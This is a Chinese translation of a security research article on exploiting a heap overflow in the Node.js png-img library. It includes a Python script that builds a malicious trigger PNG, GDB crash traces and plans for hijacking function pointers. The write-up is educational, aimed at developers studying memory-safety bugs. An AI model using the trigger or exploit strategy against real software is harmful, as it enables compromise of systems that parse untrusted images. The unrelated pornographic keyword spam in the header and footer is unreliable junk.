精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

深入考察解釋型語言背后隱藏的攻擊面,Part 2(二)

安全 應用安全
在本文中,我們將深入地探討,在通過外部函數接口(Foreign Function Interface,FFI)將基于C/C++的庫“粘合”到解釋語言的過程中,安全漏洞是如何產生的。

接上文:

在本文中,我們將深入地探討,在通過外部函數接口(Foreign Function Interface,FFI)將基于C/C++的庫“粘合”到解釋語言的過程中,安全漏洞是如何產生的。

[[373267]]

從攻擊者角度看問題

從攻擊者的角度來看,了解我們可以控制什么,如何控制,以及我們可以影響什么,對于實現bug的可利用性至關重要。此外,可利用性還受到目標代碼實際使用方式和地點的影響。

如果我們處理的是一個庫代碼中的bug,而這個庫可能被用在更大的軟件中,這就為我們作為攻擊者提供了各種額外的交互機會和影響力。此外,觸發bug的操作環境也非常重要。操作系統、系統的硬件以及它們的軟件生態系統都在各種配置中啟用了不同級別的系統級緩解措施。在一個操作系統上可以通過緩解措施阻止的漏洞可能在另一個操作系統上完全可以被利用。

在png-img案例中,假設我們面對的是最基本的攻擊環境:一個單一的Javascript文件,需要png-img包,然后用它來加載攻擊者提供的PNG文件。

  1. var fs = require('fs'); 
  2. PngImg = require('png-img'); 
  3. var buf = fs.readFileSync('/home/anticomputer/trigger.png'); 
  4. img = new PngImg(buf); 

大多數現代內存破壞攻擊都需要對目標進程內存布局有所了解。因為我們正在重寫內存,所以知道它們在原始內存布局中的位置有助于我們構造替代性的,但功能正常的內存內容,以供目標進程使用。

作為攻擊者,他們希望濫用這些新的內存內容來欺騙涉及它們的算法來執行對他們有利的操作。通常來說,攻擊者的目標是執行任意代碼或命令,但攻擊者的目標也可能是更深奧的行為。例如,攻擊者也可能想要重寫身份驗證標志,削弱隨機數生成器,或以其他方式顛覆軟件中的安全關鍵邏輯。除此之外,即使只是讓一個進程不可用,本身就可以成為目標,因為它可能導致意想不到的安全影響

由于缺乏內存布局緩解措施,我們可以對給定的目標二進制代碼及其相關的內存布局進行盲目的假設,或者通過信息泄露來了解內存布局。

信息泄露可以是簡單的,例如通過其他的或重新設計的bug來泄漏內存的內容,也可以是復雜的,例如使用基于計時或崩潰的探測方法來確定某個特定庫的進程內存的某個部分可能存在的位置。需要注意的是,要想利用信息泄露來推進漏洞利用過程,通常需要與目標流程進行反復交互。

由于在我們的single-shot場景中,我們將無法動態地了解目標進程的內存布局,因此,我們將不得不依靠運氣和有根據的猜測相結合的方式,在觸發內存破壞時判斷內存中的位置信息。

首先,我們需要找出針對目標節點二進制文件必須處理的緩解措施。為此,我們可以使用GDB Enhanced Features(GEF)插件中提供的checksec命令。

我們可以看到,我們的目標二進制文件并非一個位置無關的可執行文件(Position Independent Executable,PIE)。這意味著,在同一平臺上每次運行這個特定的二進制文件時,Node可執行文件的.text和.data段在內存中的位置保持不變。這對我們的single-shot場景非常有幫助,因為這種知識給了我們一個進入可執行代碼和程序數據已知位置的鉤子。如果我們測試平臺上的Node二進制文件被編譯成PIE,由于地址空間布局隨機化(ASLR)已經推廣到了現代Linux上的PIE二進制文件,所以,在遠程的single-shot場景中對這個漏洞的實際利用會受到很大的阻礙。

如果我們沒有類似GEF的checksec這樣的工具可用,我們也可以直接使用file命令。由于PIE二進制文件就是類型為ET_DYN(共享對象文件)的Elf可執行文件,所以,它們將會顯示為共享庫,而非PIE二進制文件則是ET_EXEC(可執行文件)類型。例如,如果我們將非PIE Node二進制文件與我們測試平臺(x86_64 Ubuntu 18.04.4LTS)上的PIE bash二進制文件進行比較,則需要注意以下幾點:

  1. anticomputer@dc1:~$ file /bin/bash 
  2. /bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=12f73d7a8e226c663034529c8dd20efec22dde54, stripped 
  3. anticomputer@dc1:~$ file /usr/bin/node 
  4. /usr/bin/node: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=ee756495e98cf6163ba85e13b656883fe0066062, with debug_info, not stripped進攻計劃 

現在,我們知道了相應的操作環境,以及在嘗試利用漏洞時可能知道哪些內存內容,這樣的話,我們可以開始決定我們要用堆內存控制技術來顛覆哪些算法了。

在這種情況下,會想到三個潛在的選擇,從特定于應用程序到特定于平臺的范圍,具體如下所示:

  • 我們可以攻擊在被破壞的堆內存上運行的png-img和libpng邏輯
  • 我們可以攻擊在被破壞的堆內存上運行的Node.js解釋器邏輯
  • 我們可以攻擊在被破壞的堆內存上運行的系統庫

對我們而言,這三個選項中哪一個最有意義,主要取決于我們愿意為漏洞利用嘗試投入多少時間和精力。但是,就概念驗證級別的工作來說,我們需要采取最便捷的漏洞利用途徑。為了確定哪條路徑,我們必須跟該漏洞打交道,并進行一些動態分析。

構造觸發器

到目前為止,我們已經對很多事情進行了理論上的探討。例如,我們探討了攻擊者判斷某個bug是否值得利用時,會考慮哪些因素。既然我們已經決定要嘗試利用png-img bug,那么是時候開始鼓搗該bug本身了。

首先,讓我們歸納出這個bug的基本觸發條件:我們要創建一個PNG文件,用于觸發整數溢出,從而導致data_數組內存分配不足,隨后用我們精心制作的PNG行數據覆蓋堆內存。此外,在libpng的PNG分塊解析過程中,我們還必須通過一些校驗和檢查,這樣,我們的惡意PNG數據才能被順利接受,以進行后續處理。

PNG文件由一個PNG簽名和一系列PNG分塊組成。這些分塊可以進一步分解為:一個4字節的分塊長度、一個4字節的分塊類型、一個可變長度的分塊數據,以及一個4字節的分塊類型和數據的CRC校驗和。PNG中的第一個分塊是IHDR分塊,其中規定了圖像的寬度和高度。

回顧易受攻擊的png-img綁定代碼,我們可以發現圖像高度是我們需要控制的變量之一,它用于觸發整數溢出。另一個變量是一行的字節數。讓我們來看看png-img,以及隨后的libpng是如何從我們提供的PNG文件中填充這些數據的。

png-img中加載PNG數據的主要入口點是PngImg::PngImg構造函數,其內容如下所示:

  1. PngImg::PngImg(const char* buf, const size_t bufLen) 
  2.     : data_(nullptr) 
  3.     memset(&info_, 0, sizeof(info_)); 
  4.     PngReadStruct rs; 
  5.     if(rs.Valid()) { 
  6.         BufPtr bufPtr = {buf, bufLen}; 
  7.         png_set_read_fn(rs.pngPtr, (png_voidp)&bufPtr, readFromBuf); 
  8. [1] 
  9.         ReadInfo_(rs); 
  10.   
  11.   
  12.         InitStorage_(); 
  13.         png_read_image(rs.pngPtr, &rowPtrs_[0]); 
  14.     } 

在[1]處,調用了ReadInfo_,它實際上是一個通過libpng的png_read_info函數填充大多數PNG信息的函數。

  1. void PngImg::ReadInfo_(PngReadStruct& rs) { 
  2.     png_read_info(rs.pngPtr, rs.infoPtr); 
  3.     info_.width = png_get_image_width(rs.pngPtr, rs.infoPtr); 
  4.     info_.height = png_get_image_height(rs.pngPtr, rs.infoPtr); 
  5.     info_.bit_depth = png_get_bit_depth(rs.pngPtr, rs.infoPtr); 
  6.     info_.color_type = png_get_color_type(rs.pngPtr, rs.infoPtr); 
  7.     info_.interlace_type = png_get_interlace_type(rs.pngPtr, rs.infoPtr); 
  8.     info_.compression_type = png_get_compression_type(rs.pngPtr, rs.infoPtr); 
  9.     info_.filter_type = png_get_filter_type(rs.pngPtr, rs.infoPtr); 
  10.     info_.rowbytes = png_get_rowbytes(rs.pngPtr, rs.infoPtr); 
  11.     info_info_.pxlsize = info_.rowbytes / info_.width; 

png_read_info將遍歷所有PNG分塊,提取與PNG圖像相關的信息,處理IHDR分塊,并調用png_handle_IHDR。

  1. /* Read and check the IDHR chunk */ 
  2. void /* PRIVATE */ 
  3. png_handle_IHDR(png_structrp png_ptr, png_inforp info_ptr, png_uint_32 length) 
  4.    png_byte buf[13]; 
  5.    png_uint_32 width, height; 
  6.    int bit_depth, color_type, compression_type, filter_type; 
  7.    int interlace_type; 
  8.   
  9.   
  10.    png_debug(1, "in png_handle_IHDR"); 
  11.   
  12.   
  13.    if (png_ptr->mode & PNG_HAVE_IHDR) 
  14.       png_chunk_error(png_ptr, "out of place"); 
  15.   
  16.   
  17.    /* Check the length */ 
  18.    if (length != 13) 
  19.       png_chunk_error(png_ptr, "invalid"); 
  20.   
  21.   
  22.    png_ptr->mode |= PNG_HAVE_IHDR; 
  23.   
  24.   
  25.    png_crc_read(png_ptr, buf, 13); 
  26.    png_crc_finish(png_ptr, 0); 
  27.   
  28.   
  29. [1] 
  30.    width = png_get_uint_31(png_ptr, buf); 
  31.    height = png_get_uint_31(png_ptr, buf + 4); 
  32.    bit_depth = buf[8]; 
  33.    color_type = buf[9]; 
  34.    compression_type = buf[10]; 
  35.    filter_type = buf[11]; 
  36.    interlace_type = buf[12]; 
  37.   
  38.   
  39.    /* Set internal variables */ 
  40.    png_ptr->widthwidth = width; 
  41.    png_ptr->heightheight = height; 
  42.    png_ptr->bit_depth = (png_byte)bit_depth; 
  43.    png_ptr->interlaced = (png_byte)interlace_type; 
  44.    png_ptr->color_type = (png_byte)color_type; 
  45. #ifdef PNG_MNG_FEATURES_SUPPORTED 
  46.    png_ptr->filter_type = (png_byte)filter_type; 
  47. #endif 
  48.    png_ptr->compression_type = (png_byte)compression_type; 
  49.   
  50.   
  51.    /* Find number of channels */ 
  52.    switch (png_ptr->color_type) 
  53.    { 
  54.       default: /* invalid, png_set_IHDR calls png_error */ 
  55.       case PNG_COLOR_TYPE_GRAY: 
  56.       case PNG_COLOR_TYPE_PALETTE: 
  57.          png_ptr->channels = 1
  58.          break; 
  59.   
  60.   
  61.       case PNG_COLOR_TYPE_RGB: 
  62.          png_ptr->channels = 3
  63.          break; 
  64.   
  65.   
  66.       case PNG_COLOR_TYPE_GRAY_ALPHA: 
  67.          png_ptr->channels = 2
  68.          break; 
  69.   
  70.   
  71.       case PNG_COLOR_TYPE_RGB_ALPHA: 
  72.          png_ptr->channels = 4
  73.          break; 
  74.    } 
  75.   
  76.   
  77.    /* Set up other useful info */ 
  78.    png_ptr->pixel_depth = (png_byte)(png_ptr->bit_depth * 
  79.    png_ptr->channels); 
  80. [2] 
  81.    png_ptr->rowbytes = PNG_ROWBYTES(png_ptr->pixel_depth, png_ptr->width); 
  82.    png_debug1(3, "bit_depth = %d", png_ptr->bit_depth); 
  83.    png_debug1(3, "channels = %d", png_ptr->channels); 
  84.    png_debug1(3, "rowbytes = %lu", (unsigned long)png_ptr->rowbytes); 
  85.    png_set_IHDR(png_ptr, info_ptr, width, height, bit_depth, 
  86.        color_type, interlace_type, compression_type, filter_type); 

在[1]處,我們看到代碼從IHDR分塊數據中提取寬度和高度(整數);在[2]處,我們看到它通過PNG_ROWBYTES宏導出rowbytes值,這是根據單個像素占用的位數將像素寬度簡單轉換為表示行所需的字節數。例如,對于8位像素,16像素的寬度意味著16 rowbytes。

我們還注意到png_ptr結構體的填充處理,這是一個基于堆的libpng數據結構,存放所有特定于PNG的數據。其中,包括各種函數指針,當libpng對我們的PNG數據進行操作時,將調用這些指針。例如,當libpng遇到錯誤時,它將調用png_error。

  1. PNG_FUNCTION(void,PNGAPI 
  2. png_error,(png_const_structrp png_ptr, png_const_charp error_message), 
  3.    PNG_NORETURN) 
  4. … 
  5. [1] 
  6.    if (png_ptr != NULL && png_ptr->error_fn != NULL) 
  7.       (*(png_ptr->error_fn))(png_constcast(png_structrp,png_ptr), 
  8.           error_message); 
  9.   
  10.   
  11.    /* If the custom handler doesn't exist, or if it returns, 
  12.       use the default handler, which will not return. */ 
  13.    png_default_error(png_ptr, error_message); 

在[1]處我們看到,如果png_ptr結構體含有一個填充error_fn函數指針的字段,則調用該函數指針時會將png_ptr結構體本身作為其第一個參數傳遞。

從攻擊者的角度來看,了解受影響的軟件如何與可能被我們控制的內存進行交互是很重要的。在這種情況下,我們已經確定libpng使用了一個基于堆的結構體,它包含了函數指針,當錯誤發生時,這些指針會被調用。作為一種重定向執行的方法,這在我們的漏洞利用過程中可能會很有幫助,所以我們要注意這一點。

如果我們的漏洞利用過程需要破壞png_ptr結構體,那么它就是濫用應用程序特定堆數據的一個好例子。

長話短說,假設這里使用的是8位像素,我們可以控制直接通過圖像寬度得出的行字節值。因此,為了觸發png-img bug,我們只需要創建這樣一個有效的PNG文件:該文件包含的高度和寬度將觸發整數溢出,并提供足夠的行數據來覆蓋data_相鄰的堆內存。

我們可以使用Python Pillow庫快速地進行演示:

  1. from PIL import Image 
  2. import os 
  3. import struct 
  4. import sys 
  5. import zlib 
  6.   
  7.   
  8. def patch(path, offset, data): 
  9.     f = open(path, 'r+b') 
  10.     f.seek(offset) 
  11.     f.write(data) 
  12.     f.close() 
  13.   
  14.   
  15. trigger = 'trigger.png' 
  16. row_data = b'A' * 0x100000 
  17. width = 0x100 
  18. height = int(len(row_data)/width) 
  19.   
  20.   
  21. # create a template PNG with a valid height for our row_data 
  22. im = Image.frombytes("L", (width, height), row_data) 
  23. im.save(trigger, "PNG") 
  24.   
  25.   
  26. # patch in a wrapping size to trigger overwrap and underallocation 
  27. patch(trigger, 20, struct.pack('>L', 0x01000001)) 
  28.   
  29.   
  30. # fix up the IHDR CRC so png_read_info doesn't freak out 
  31. f = open(trigger, 'rb') 
  32. f.seek(16) 
  33. ihdr_data = f.read(13) 
  34. f.close() 
  35. crc = zlib.crc32(ihdr_data, zlib.crc32(b'IHDR') & 0xffffffff) & 0xffffffff 
  36. patch(trigger, 29, struct.pack('>L', crc)) 

當我們使用png-img加載生成的png文件時,將發生崩潰:

  1. (gdb) r pngimg.js 
  2. Starting program: /usr/bin/node pngimg.js 
  3. [Thread debugging using libthread_db enabled] 
  4. Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 
  5. [New Thread 0x7ffff6a79700 (LWP 60942)] 
  6. [New Thread 0x7ffff6278700 (LWP 60943)] 
  7. [New Thread 0x7ffff5a77700 (LWP 60944)] 
  8. [New Thread 0x7ffff5276700 (LWP 60945)] 
  9. [New Thread 0x7ffff4a75700 (LWP 60946)] 
  10. [New Thread 0x7ffff7ff6700 (LWP 60947)] 
  11.   
  12.   
  13. Thread 1 "node" received signal SIGSEGV, Segmentation fault. 
  14. 0x00007ffff7de4e52 in _dl_fixup (l=0x271f0a0reloc_arg=285) at ../elf/dl-runtime.c:69 
  15. 69      ../elf/dl-runtime.c: No such file or directory. 
  16. (gdb) x/i$pc 
  17. => 0x7ffff7de4e52 
  18. (gdb) bt 
  19. #0  0x00007ffff7de4e52 in _dl_fixup (l=0x271f0a0reloc_arg=285) at ../elf/dl-runtime.c:69 
  20. #1  0x00007ffff7dec81a in _dl_runtime_resolve_xsavec () at ../sysdeps/x86_64/dl-trampoline.h:125 
  21. #2  0x00007ffff4032e63 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
  22. #3  0x00007ffff4034899 in png_read_image () 
  23.    from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
  24. #4  0x00007ffff40246d8 in PngImg::PngImg(char const*, unsigned long) () 
  25.    from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
  26. #5  0x00007ffff401e8fa in PngImgAdapter::New(Nan::FunctionCallbackInfo 
  27.    from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
  28. #6  0x00007ffff401e56f in Nan::imp::FunctionCallbackWrapper () 
  29.    from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
  30. ... 
  31. (gdb) i r rax 
  32. rax            0x4141414141414141       4702111234474983745 
  33. (gdb) 

我們看到,由于_dl_fixup對堆內存進行了操作,而這些堆內存被我們的行數據覆蓋,而行數據由大量的A字節(0x41)組成,所以我們崩潰了。

由此看來,有一些關鍵的進程會涉及我們控制的堆數據,于是就有了后來的崩潰。我們看到,在_dl_fixup中,崩潰前最后調用的libpng函數是png_read_row。

如果您沒忘記的話,我們最初的漏洞利用理論是,我們或許能夠破壞堆上的png_ptr數據,然后觸發一個bug,導致libpng調用我們提供給png_error的函數指針值——當它用完行數據時。但是,我們沒有在png_error中崩潰,而是在_dl_fixup中崩潰了。

那么這是怎么回事呢?好吧,首先讓我們確定png_read_row實際上是在嘗試調用png_error。如果我們看一下png_read_row的反匯編輸出,我們會注意到以下內容:

  1. 0x00007ffff4032e45 
  2.   0x00007ffff4032e4c 
  3.   0x00007ffff4032e4f 
  4.   0x00007ffff4032e54 
  5.   0x00007ffff4032e5b 
  6.   0x00007ffff4032e5e 
  7.   0x00007ffff4032e63 
  8.   0x00007ffff4032e6a 
  9.   0x00007ffff4032e6d 

我們注意到,png_error是通過過程鏈接表(procedure linkage table)調用的。其中,第一個參數是通過RDI寄存器傳遞的png_ptr結構體指針,第二個參數是通過RSI寄存器傳遞的錯誤消息。下面,讓我們在png_error@plt上設置斷點,看看會發生什么。

  1. (gdb) break png_error@plt 
  2. Breakpoint 1 at 0x7ffff401d980 
  3. (gdb) r pngimg.js 
  4. The program being debugged has been started already. 
  5. Start it from the beginning? (y or n) y 
  6. Starting program: /usr/bin/node pngimg.js 
  7. [Thread debugging using libthread_db enabled] 
  8. Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 
  9. [New Thread 0x7ffff6a79700 (LWP 60976)] 
  10. [New Thread 0x7ffff6278700 (LWP 60977)] 
  11. [New Thread 0x7ffff5a77700 (LWP 60978)] 
  12. [New Thread 0x7ffff5276700 (LWP 60979)] 
  13. [New Thread 0x7ffff4a75700 (LWP 60980)] 
  14. [New Thread 0x7ffff7ff6700 (LWP 60981)] 
  15.   
  16.   
  17. Thread 1 "node" hit Breakpoint 1, 0x00007ffff401d980 in png_error@plt () 
  18.    from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
  19. (gdb) bt 
  20. #0  0x00007ffff401d980 in png_error@plt () 
  21.    from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
  22. #1  0x00007ffff4032e63 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
  23. … 
  24. (gdb) x/s $rsi 
  25. 0x7ffff4066820: "Invalid attempt to read row data" 
  26. (gdb) x/16x $rdi 
  27. 0x271f580:      0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41 
  28. 0x271f588:      0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41 
  29. (gdb) 

到目前為止,一切都很好!我們確實在試圖用受控的png_ptr數據調用png_error。但我們為什么會在_dl_fixup中崩潰,而不是獲得函數指針控制權呢?

好吧,png_error是一個致命的錯誤處理程序。由于這是第一次調用png_error,由于惰性鏈接的緣故,它實際上還沒有被解析和重定位。所以發生的情況是,過程鏈接表(PLT)中的指令會嘗試跳轉到png_error的全局偏移表(GOT)跳轉槽條目中包含的地址,但這個地址正好指向png_error PLT條目,該條目中包含的指令負責調用動態鏈接器的運行時解析器。

我們可以單步跟蹤這個過程,以便更好地理解它。

  1. Thread 1 "node" hit Breakpoint 1, 0x00007ffff401d980 in png_error@plt () 
  2.    from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
  3. 1: x/i $pc 
  4. => 0x7ffff401d980 
  5. (gdb) x/gx 0x7ffff4274900 
  6. 0x7ffff4274900: 0x00007ffff401d986 
  7. (gdb) si 
  8. 0x00007ffff401d986 in png_error@plt () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
  9. 1: x/i $pc 
  10. => 0x7ffff401d986 
  11. (gdb) si 
  12. 0x00007ffff401d98b in png_error@plt () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
  13. 1: x/i $pc 
  14. => 0x7ffff401d98b 
  15. (gdb) si 
  16. 0x00007ffff401c7a0 in ?? () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
  17. 1: x/i $pc 
  18. => 0x7ffff401c7a0:      pushq  0x257862(%rip)        # 0x7ffff4274008 
  19. (gdb) si 
  20. 0x00007ffff401c7a6 in ?? () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 
  21. 1: x/i $pc 
  22. => 0x7ffff401c7a6:      jmpq   *0x257864(%rip)        # 0x7ffff4274010 
  23. (gdb) si 
  24. _dl_runtime_resolve_xsavec () at ../sysdeps/x86_64/dl-trampoline.h:71 
  25. 71      ../sysdeps/x86_64/dl-trampoline.h: No such file or directory. 
  26. 1: x/i $pc 
  27. => 0x7ffff7dec7a0 
  28. (gdb) 

在這里,我們看到png_error@plt通過GOT跳轉槽跳回PLT的方式調用解析器。鏈接器負責解析和修復png_error的GOT跳轉槽,這樣以后的調用就會直接進入png_error的正確位置。簡單來說,這就是惰性鏈接(lazy linking)的工作原理。

png-img庫使用惰性鏈接進行按需符號解析的事實也告訴我們,它只啟用了部分重定位只讀(RELRO)機制。還記得之前講過的對Node.js二進制代碼進行的安全檢查嗎?它已經啟用了完全的RELRO機制。當完全啟用RELRO時,給定二進制文件的GOT部分被標記為只讀,以防止攻擊者替換GOT中的函數指針值。完全RELRO意味著所有動態鏈接的函數都必須在二進制文件加載時由鏈接器解析和重新定位,因為已經無法在運行時更新GOT。這是出于性能方面的考慮,因此,我們經常會看到一些庫代碼因為這個原因而被編譯成部分RELRO。

所以總結一下,我們的base node二進制文件并不是一個PIE,并已經啟用了完全的RELRO,而我們的目標png-img庫啟用了部分RELRO。我們的堆溢出破壞了動態鏈接器用來解析png-img庫的函數的內存,而且我們還覆蓋了png-img捆綁的libpng代碼使用的png_ptr應用的特定數據。我們注意到,png_ptr是作為第一個參數傳遞給這個尚未解析的png_error函數的。

到目前為止,有兩條明顯的漏洞利用途徑。我們可以嘗試觸發獲取鏈接器數據的堆布局,并執行劫持PNG_PTR函數指針的原始計劃,也可以嘗試破壞動態鏈接器解析器邏輯。

這就是事情變得有些不太確定的地方。我們的堆布局控制是基于我們提供給png-img的靜態PNG文件的。我們可以將data_數組分配為圖像寬度的倍數,因為該漏洞允許我們使用圖像的寬度和高度來觸發一個32位的整數溢出。

我們再來看看存在漏洞的代碼。

  1. void PngImg::InitStorage_() { 
  2.     rowPtrs_.resize(info_.height, nullptr); 
  3. [1] 
  4.     data_ = new png_byte[info_.height * info_.rowbytes]; 
  5.   
  6.   
  7. [2] 
  8.     for(size_t i = 0; i < info_.height; ++i) { 
  9.         rowPtrs_[i] = data_ + i * info_.rowbytes; 
  10.     } 

在[1]處,data_將是通過整數溢出覆蓋的長度,這意味著我們可以使用height的低位字使data_size成為rowbytes的任意倍數。例如,如果希望data_為8字節,則可以將rowbytes設置為8,將height設置為((0xFFFFFFFF/8)+1)+1=0x20000001。

這意味著我們可以通過相當精細的方式控制data_chunk的分配大小,從而合理地控制將其存放在堆中的位置。但是,在控制堆分配順序方面,我們沒有太多其他選擇。如果我們能夠更好的控制目標進程中內存的分配和釋放的方式和時間,那么我們可能還可以考慮攻擊系統分配器(glibc)本身。但是,考慮到我們受到緩解機制的諸多限制,如果對分配器沒有足夠的影響力的話,我們的PoC代碼的可靠性將無法滿足我們的最低要求。我們可以探索的一條途徑是,利用其他PNG分塊,以在觸發內存破壞之前將堆“按摩”到一種有利的狀態——如果我們的最初探索最終陷入僵局,我們將保留它作為一種選擇。

作為開發人員,必須了解攻擊者將根據他們愿意花在漏洞利用上面的資源和時間來探索漏洞。即使對于相對簡單的漏洞(例如png-img堆溢出),我們也看到有一個獨特的攻擊評估方案在起作用,它權衡了針對這里的代碼,各種攻擊策略的優缺點。對于各種防御措施,要根據特定平臺和具體目標這兩種角度進行考察。

小結

在本文中,我們將深入地探討,在通過外部函數接口(Foreign Function Interface,FFI)將基于C/C++的庫“粘合”到解釋語言的過程中,安全漏洞是如何產生的。由于篇幅過長,我們將分為多篇進行介紹,更多精彩內容敬請期待!

本文翻譯自:https://securitylab.github.com/research/now-you-c-me-part-two

 

責任編輯:趙寧寧 來源: 嘶吼網
相關推薦

2020-12-30 10:26:47

攻擊面語言安全漏洞

2021-01-07 09:19:00

攻擊面語言安全漏洞

2021-01-05 09:51:18

攻擊面語言安全漏洞

2020-12-10 14:37:43

攻擊面語言安全漏洞

2020-12-15 13:24:41

攻擊面語言安全漏洞

2020-06-02 09:50:40

信息安全數據技術

2022-04-27 05:36:51

攻擊面網絡攻擊網絡安全

2021-01-21 21:07:03

信息安全漏洞治理

2021-07-09 09:09:47

ASM攻擊面管理安全觀察

2022-02-14 17:13:46

攻擊面管理網絡安全

2022-06-16 10:02:39

EASM攻擊面管理

2022-07-29 12:42:35

攻擊面管理

2018-11-03 05:00:29

微隔離網絡攻擊漏洞

2021-11-29 18:13:31

攻擊面漏洞網絡攻擊

2020-08-31 10:54:05

勒索軟件漏洞網絡安全

2021-06-30 10:10:01

企業攻擊漏洞網絡安全

2018-11-19 22:59:31

2014-03-19 10:25:14

2023-08-24 12:13:40

2023-11-10 09:54:32

點贊
收藏

51CTO技術棧公眾號

爱情岛论坛亚洲入口| 蜜臀久久99精品久久久无需会员| 欧美牲交a欧美牲交| 精品美女视频在线观看免费软件| 免费的成人av| 久久久久免费精品国产| 一区二区三区伦理片| 亚洲综合资源| 欧美日韩亚洲激情| 秋霞在线一区二区| 九色在线播放| 国产成人午夜精品5599| 国产成人综合一区二区三区| 永久免费看mv网站入口| 日本成人a网站| 69av一区二区三区| 久久精品免费一区二区| 69成人在线| 国产欧美日韩综合精品一区二区| 99久久无色码| 91成人一区二区三区| 亚洲一区不卡| 久久久久久av| 欧美精品成人久久| 久久精品影视| 一区二区三区视频免费在线观看| 少妇一级淫片免费放播放| 成人国产精品一区二区网站| 色天天综合久久久久综合片| 欧日韩免费视频| a级网站在线播放| 中文字幕av一区二区三区| 国产一区二区三区四区五区在线 | 日韩av成人| 国产成人精品一区二区三区四区| 日韩av男人的天堂| 日韩欧美视频在线免费观看| 欧美1区2区| 日韩性生活视频| 99久久久无码国产精品衣服| 天天做夜夜做人人爱精品 | 91av在线免费| 成人另类视频| 精品日产卡一卡二卡麻豆| 人人爽人人爽av| 亚洲国产91视频| 欧美日韩国产一区| 香蕉视频网站入口| 国内精品伊人| 欧美日韩国产免费一区二区 | 亚洲男人第一av网站| 亚洲色偷偷色噜噜狠狠99网| 亚洲国产aⅴ精品一区二区| 欧美一二三在线| 色姑娘综合天天| 精品一区二区三区免费看| 欧美二区三区的天堂| 色天使在线观看| 色综合久久久| 欧美一区二区在线免费观看| 免费高清视频在线观看| 亚洲一区二区三区中文字幕在线观看| 欧美一区二区三区日韩视频| 午夜影院免费版| 91精品国产自产在线丝袜啪| 日韩久久久久久| 国产精品久久久久久亚洲av| 国产成人精品福利| 亚洲美女激情视频| 亚洲色图日韩精品| 91精品婷婷色在线观看| 欧美国产精品日韩| 日本中文字幕第一页| 日本欧美一区二区| 亚洲影院色无极综合| 亚洲精品字幕在线观看| 91丨porny丨国产入口| 日韩高清国产精品| 免费a级在线播放| 亚洲国产日韩在线一区模特 | 日本三级亚洲精品| 91免费看网站| 深夜福利视频一区| 中文字幕一区二区三区视频| www.国产二区| 欧美freesex| 5月丁香婷婷综合| 日本三级日本三级日本三级极| 要久久爱电视剧全集完整观看 | 国产精品大全| 国产一级免费在线观看| 自拍偷拍欧美激情| 乱妇乱女熟妇熟女网站| 欧洲亚洲精品久久久久| 精品国产一区a| av永久免费观看| 一区久久精品| 国产精品中文字幕久久久| 亚洲国产一二三区| 中文字幕不卡的av| 波多野结衣乳巨码无在线| 国产精品久久久久77777丨| 欧美tk—视频vk| 少妇太紧太爽又黄又硬又爽小说 | 国产美女www爽爽爽视频| jlzzjlzz亚洲日本少妇| 伊人天天久久大香线蕉av色| 男人av在线播放| 91精品国产欧美一区二区18| 中文字幕免费看| 国产精品hd| 国产欧美精品一区二区三区介绍| 日本免费一区视频| 亚洲男女毛片无遮挡| 免费日韩视频在线观看| 成人三级毛片| 欧美日本高清一区| 91亚洲国产成人久久精品麻豆| 91一区在线观看| 国风产精品一区二区| 国产福利亚洲| 亚洲一级黄色av| 成人免费a视频| 国产馆精品极品| 伊人色综合影院| 懂色aⅴ精品一区二区三区| 国产视频亚洲视频| 国产一级做a爱片久久毛片a| 国产成人av资源| 国产又大又长又粗又黄| av在线不卡精品| 亚洲欧美色图片| 成人免费a视频| 26uuu精品一区二区在线观看| 欧美 亚洲 视频| 久久久久久爱| 久久亚洲精品一区| 国产一区二区三区三州| 国产精品嫩草99a| 五月婷婷六月合| 日韩理论电影院| 国产精品激情av电影在线观看| 色综合久久网女同蕾丝边| 激情懂色av一区av二区av| 国产白袜脚足j棉袜在线观看| 欧美日韩福利| 国产精品区一区二区三在线播放| 97超碰资源站在线观看| 日韩美一区二区三区| 国产一级久久久| av欧美精品.com| 国产免费黄视频| 欧美三级午夜理伦三级小说| 51精品在线观看| 欧美中文在线| 欧美午夜一区二区三区免费大片| 亚洲av无码国产精品麻豆天美| 久久久999| 色综合久久久久久久久五月| 色猫猫成人app| 久久精品国产精品亚洲| 国产福利小视频| 亚洲综合色区另类av| 亚洲美女高潮久久久| 尹人成人综合网| 欧美一二三四五区| 国产一区二区三区四区五区3d| 日韩中文字幕网址| 亚洲精品成人电影| 狠狠躁夜夜躁人人躁婷婷91| 国产jjizz一区二区三区视频| 蜜桃在线一区二区三区| 992tv快乐视频| 久久av国产紧身裤| 国产精品成人久久久久| 高h视频在线观看| 亚洲国产成人爱av在线播放| 日韩欧美成人一区二区三区| 国产欧美日韩视频在线观看| 日韩av片免费观看| 一本久道综合久久精品| 欧美尤物一区| 精品一区二区三区免费看| 97精品伊人久久久大香线蕉| 国产乱子伦三级在线播放| 91精品国产91久久综合桃花 | 成人在线观看免费网站| 亚洲第一精品久久忘忧草社区| 久久青青草原亚洲av无码麻豆| 国产精品妹子av| 国产精品扒开腿做爽爽爽a片唱戏| 日韩精品免费视频人成| 久久综合亚洲精品| 